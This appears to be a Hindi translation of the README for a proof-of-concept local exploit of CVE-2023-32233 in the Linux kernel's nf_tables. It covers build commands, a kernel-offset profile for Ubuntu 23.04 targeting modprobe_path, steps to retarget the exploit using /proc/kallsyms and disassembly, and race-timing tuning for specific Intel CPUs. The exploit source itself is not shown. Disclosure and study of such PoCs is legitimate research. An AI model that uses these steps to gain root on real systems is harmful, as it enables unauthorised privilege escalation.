
CVE-2023-32233: Linux内核中的安全漏洞
नीचे दिए गए निर्देश Ubuntu 23.04 (Lunar Lobster) के तहत परीक्षण किए गए थे।

बिल्ड निर्भरताएँ स्थापित करने के लिए निम्नलिखित कमांड चलाएँ:
sudo apt install gcc libmnl-dev libnftnl-dev
PoC बाइनरी बनाने के लिए निम्नलिखित कमांड चलाएँ:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
अंतर्निहित प्रोफ़ाइल में Linux कर्नेल के लिए विशिष्ट पैरामीटर हैं जो Ubuntu 23.04 (Lunar Lobster) से निम्नलिखित पैकेजों के रूप में वितरित किए गए हैं:
अंतर्निहित प्रोफ़ाइल इस प्रकार दिखती है:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
अन्य Linux कर्नेल के साथ परीक्षण करते समय अंतर्निहित प्रोफ़ाइल को ओवरराइड करने के लिए वैकल्पिक चरण:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
कर्नेल बेस खोजने के लिए हम कर्नेल मेमोरी में nf_tables.ko इमेज की जाँच करते हैं। और विशेष रूप से, हम nft_counter_destroy() सबरूटीन के मशीन कोड का विश्लेषण करते हैं। इसका मतलब है कि हमारी विधि कंपाइलर और संकलन विकल्पों दोनों के प्रति संवेदनशील है। हालाँकि, सभी सामान्य मामलों को अंतर्निहित प्रोफ़ाइल को ओवरराइड करके नियंत्रित किया जा सकता है।
उदाहरण के लिए, nft_counter_destroy() सबरूटीन का मशीन कोड इस प्रकार दिख सकता है:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
उपरोक्त मामले में हम कॉन्फ़िगरेशन फ़ाइल "profile" में नीचे दी गई तीन पंक्तियों को जोड़कर कुछ पैरामीटर निर्दिष्ट कर सकते हैं।
सबसे पहले, हम free_percpu विस्थापन से पहले के dword के ऑफ़सेट को पुनर्परिभाषित करते हैं:
5 nft_counter_destroy_call_offset # hex
जहाँ मान 5 को अभिव्यक्ति (1e31d - 1e310) - 8 का उपयोग करके गणना किया गया था।
एक सत्यापन जांच के रूप में, हम फिर निम्नलिखित मास्क का उपयोग करके उपरोक्त ऑफ़सेट पर dword को मान्य करते हैं:
ffffffff nft_counter_destroy_call_mask # hex
निम्नलिखित मान की अपेक्षा करते हुए:
e9087e8b nft_counter_destroy_call_check # hex
कमजोरी का शोषण करने के लिए Linux कर्नेल से बैकग्राउंड वर्कर थ्रेड के साथ एक रेस जीतना आवश्यक है। अंतर्निहित प्रोफ़ाइल को मोबाइल Sandy Bridge और डेस्कटॉप Comet Lake सहित Intel माइक्रोप्रोसेसरों की एक विस्तृत श्रृंखला पर उस रेस को जीतने की संभावना को अधिकतम करने के लिए ट्यून किया गया है। हालाँकि, कुछ माइक्रोप्रोसेसरों को अतिरिक्त ट्यूनिंग की आवश्यकता होती है। उदाहरण के लिए, हमने कुछ सेटअपों में Alder Lake के तहत कार्यों को स्विच करने में विलंबता में वृद्धि देखी, जहाँ "profile" में निम्नलिखित पंक्ति जोड़ना आवश्यक हो सकता है:
400 race_lead_sleep
हमने निष्क्रिय बेयर-मेटल सिस्टम का उपयोग करने वाले अपने परीक्षणों में कमजोरी का सफलतापूर्वक शोषण करने की 80% या बेहतर संभावना मापी।
एक बार PoC एक कमजोर सिस्टम पर शुरू हो जाता है, तो यह उस सिस्टम को दूषित कर्नेल मेमोरी के साथ अस्थिर स्थिति में छोड़ सकता है। हम संभावित डेटा भ्रष्टाचार से बचने के लिए PoC को एक समर्पित सिस्टम पर परीक्षण करने की दृढ़ता से अनुशंसा करते हैं।